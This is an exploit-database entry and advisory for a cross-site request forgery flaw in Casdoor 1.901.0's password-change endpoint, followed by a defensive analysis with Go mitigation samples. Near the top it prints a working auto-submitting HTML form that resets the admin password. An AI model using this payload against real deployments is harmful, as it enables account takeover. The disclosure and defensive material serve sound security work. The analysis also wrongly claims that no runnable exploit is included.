Casdoor 1.901.0 - Cross-Site Request Forgery (CSRF)

Exploit Author: Van Lam Nguyen Analysis Author: www.bubbleslearn.ir Category: WebApps Language: JavaScript Published Date: 2025-05-06
# Exploit Title: Casdoor 1.901.0 - Cross-Site Request Forgery (CSRF)
# Application: Casdoor
# Version: 1.901.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v1.901.0.zip
# Tested on: Windows
# CVE : N/A

Overview
==================================================
Casdoor v1.901.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked


Casdoor 1.901.0 — Cross‑Site Request Forgery (CSRF) on /api/set-password

This article analyzes a CSRF weakness discovered in Casdoor v1.901.0 and earlier that affects the endpoint /api/set-password. It explains how the issue arises, the real-world impact, detection strategies, and practical mitigations — including secure code patterns you can apply in Casdoor or similar Go web applications.

Executive summary

Casdoor v1.901.0 and below contained insufficient protections around the /api/set-password endpoint. The endpoint can be triggered by a browser request from a third‑party page when the victim is authenticated, allowing an attacker to change a victim’s password without knowing the victim’s current password. This is a classic Cross‑Site Request Forgery (CSRF) scenario: state‑changing actions are accepted without a verifiable per‑request token or equivalent origin validation.

Why this happens (technical background)

  • CSRF occurs when a browser automatically adds authentication credentials (session cookie, bearer cookie) to requests made by an attacker‑controlled page.
  • If the server accepts a state‑changing POST without verifying a per‑request secret (CSRF token), or validating the Origin/Referer header, an attacker can cause the victim’s browser to perform that request.
  • In this case, /api/set-password performs a privileged update (changing credentials) and was reachable via a simple POST request without a secure CSRF check or requirement to present the current password or a second factor.

High‑level Proof of Concept (conceptual, non‑executable)

Conceptually, an attacker-hosted web page can instruct a victim’s browser to POST to the target Casdoor installation. If the victim is logged in, the browser sends authentication cookies and the request is processed by /api/set-password — changing the victim’s account password.

For safety and responsible disclosure purposes this article does not include a runnable exploit. The important point is to understand the attack surface: an authenticated browser + an endpoint that accepts unauthenticated state changes = CSRF risk.

Typical impact

  • Account takeover: attacker can set a new password and lock the legitimate owner out.
  • Privilege escalation: if an admin account is vulnerable, an attacker could gain administrative control.
  • Persistent compromise: attacker-controlled credentials allow further misuse of integrated systems.
  • Reputational and data‑security consequences for organizations using affected Casdoor versions.

Detection and forensic indicators

Look for anomalous patterns in access logs, application logs, and audit trails:

  • Multiple password‑change requests originating from the same client IP shortly after a user session is active.
  • POST requests to /api/set-password with unexpected Content‑Type (e.g., form submissions from third‑party origins).
  • Unusual referer headers — requests for set-password initiated from external domains.
  • Successful password changes without corresponding “change password initiated by user” UI interactions.

Immediate mitigations (short‑term)

  • Apply the vendor patch or upgrade to a Casdoor release that includes the fix (if available). Prioritize production instances.
  • Require the current password to change the password on the server side. A server‑side check of the old password makes CSRF attacks harder.
  • Enable and enforce SameSite cookie attributes (SameSite=Strict or Lax where compatible) and ensure cookies are flagged Secure and HttpOnly.
  • Add an emergency Web Application Firewall (WAF) rule to block suspicious POSTs to /api/set-password from external referers or without the proper content type / CSRF header.

Permanent mitigations and secure design recommendations

  • CSRF tokens: add per‑session or per‑request CSRF tokens inserted into forms and validated on the server for state‑changing endpoints.
  • Origin/Referer validation: verify the Origin header (and fall back to Referer when Origin is absent) for cross‑origin requests on sensitive endpoints.
  • Require re‑authentication or 2FA for sensitive operations (passwords, MFA reset, admin actions).
  • Least privilege / rate limiting: throttle changes and alert on multiple failed or unexpected updates.
  • Use Content Security Policy and X‑Frame‑Options to reduce the attack surface for some CSRF vectors like clickjacking.

Example secure patterns (Go / Casdoor‑style server)

The following examples show safe approaches: verifying the user’s current password on password change, and an example CSRF middleware using Origin checks. These are defensive code samples meant to illustrate secure patterns rather than exploit code.

// Example: Verify current password before changing to a new one
func HandleSetPassword(w http.ResponseWriter, r *http.Request) {
    // parse authenticated user from session
    user := getAuthenticatedUser(r)
    if user == nil {
        http.Error(w, "unauthenticated", http.StatusUnauthorized)
        return
    }

    var req struct {
        OldPassword string `json:"oldPassword"`
        NewPassword string `json:"newPassword"`
    }
    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
        http.Error(w, "bad request", http.StatusBadRequest)
        return
    }

    // Verify the old password server-side
    if !verifyPassword(user.HashedPassword, req.OldPassword) {
        http.Error(w, "current password incorrect", http.StatusForbidden)
        return
    }

    // Proceed to update password with server-side hashing
    if err := updateUserPassword(user.ID, req.NewPassword); err != nil {
        http.Error(w, "failed to update password", http.StatusInternalServerError)
        return
    }

    w.WriteHeader(http.StatusOK)
}

Explanation: this handler enforces that the authenticated user must present their current password to set a new one. Verifying the existing password server‑side prevents CSRF attacks from success because the attacker cannot know the victim’s current password. It is a strong mitigation in addition to CSRF tokens.

// Example: lightweight Origin/Referer validation middleware (additional to proper CSRF tokens)
func RequireSameOrigin(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Only enforce for state-changing methods
        if r.Method == http.MethodPost || r.Method == http.MethodPut || r.Method == http.MethodDelete {
            origin := r.Header.Get("Origin")
            if origin == "" {
                origin = r.Header.Get("Referer")
            }
            if origin == "" {
                http.Error(w, "missing origin", http.StatusForbidden)
                return
            }

            // Replace with your app's canonical origin (scheme + host)
            expectedOrigin := "https://your-app.example.com"
            if !strings.HasPrefix(origin, expectedOrigin) {
                http.Error(w, "invalid origin", http.StatusForbidden)
                return
            }
        }
        next.ServeHTTP(w, r)
    })
}

Explanation: the middleware rejects cross‑origin state‑changing requests that do not originate from the expected application origin. It's not a full replacement for CSRF tokens in complex environments (e.g., multiple valid origins), but it's an effective additional control.

// Example: using gorilla/csrf to provide robust CSRF protection
// setup
CSRF := csrf.Protect(
    []byte("32-byte-long-auth-key"),
    csrf.Secure(true), // only send cookie over HTTPS in production
)
http.Handle("/set-password", CSRF(http.HandlerFunc(HandleSetPassword)))

Explanation: gorilla/csrf issues a per‑session token stored in a cookie and validates the token submitted with state‑changing requests, providing strong CSRF protection suitable for many web apps.

Testing and validation

  • After patching, validate that /api/set-password rejects cross‑origin requests and requires either the current password or a valid CSRF token.
  • Use automated security scanners and manual penetration tests to verify CSRF protections are enforced on all state‑changing endpoints.
  • Confirm cookies include SameSite and Secure flags and that session cookies are HttpOnly.

Operational recommendations

  • Prioritize upgrades: move affected Casdoor instances to a patched release as soon as vendor fixes are available.
  • Implement centralized logging and alerts for critical account changes (password updates, email changes, MFA resets).
  • Require reauthentication or step‑up authentication for administrative or high‑risk operations.
  • Educate dev teams on CSRF patterns: always require a per‑request token or strict origin checks for state‑changing endpoints.

Responsible disclosure and follow-up

If you are a maintainer or operator: communicate the issue to stakeholders, apply mitigations, and issue user advisories if accounts may have been compromised. If you are a security researcher: follow vendor disclosure policies and coordinate any public disclosure to include mitigations to protect users.

References and further reading

  • OWASP CSRF Prevention Cheat Sheet — practical patterns for tokens, SameSite cookies, and header checks.
  • gorilla/csrf documentation — how to add robust CSRF protections in Go web apps.
  • RFC 6265 — HTTP State Management Mechanism (cookie attributes such as SameSite).